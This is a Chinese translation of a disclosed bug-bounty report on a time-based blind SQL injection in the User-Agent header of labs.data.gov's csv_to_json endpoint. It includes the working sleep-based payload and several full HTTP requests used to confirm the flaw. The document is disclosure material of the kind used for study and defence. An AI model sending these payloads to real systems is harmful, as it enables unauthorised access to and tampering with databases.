SQL注入之User-Agent注入
Posted 东塔安全学院
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入之User-Agent注入相关的知识,希望对你有一定的参考价值。
0x00
漏洞信息
披露者:harisec
危害程度:高危
漏洞类型:sql注入
0x01
漏洞介绍
通过访问:
https://labs.data.gov/dashboard/datagov/csv_to_json抓包在user-agent头中进行SQL注入
我没有从数据库中提取任何数据,我已经使用sleep函数 SQL查询确认了该漏洞。该命令与算术操作相结合,将导致服务器响应不同的时间取决于算术运算的结果。
例如,将该值设置:
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
到User-Agent头部将导致服务器延迟响应25(5×5)秒。
要重现,请发送以下HTTPS请求:
GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR' X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
服务器将在25(5 * 5)秒后响应-与User-Agent:标头的值相同。
现在,让服务器立即响应。我们将发送值sleep(5 * 5 * 0),它等于0。
GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5*0),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
服务器立即响应为5 * 5 * 0 = 0。
让我们通过另一个请求进行确认:
GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(6*6-30),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
这次,有效负载包含6 * 6-30,等于6。服务器在6秒钟后响应。
这些只是我尝试确认此问题的带有各种算术运算的SQL查询中的一些。
0x02
漏洞影响
攻击者可以操纵发送到mysql数据库的SQL语句,并注入恶意SQL语句。攻击者可以更改对数据库执行的SQL语句的命令。
翻译自hackerone
> 免责申明:本文由互联网整理翻译而来,仅供个人学习参考,如有侵权,请联系我们,告知删除。
以上是关于SQL注入之User-Agent注入的主要内容,如果未能解决你的问题,请参考以下文章
『SQL注入』 User-Agent 手工注入的探测与利用分析
以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?
安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段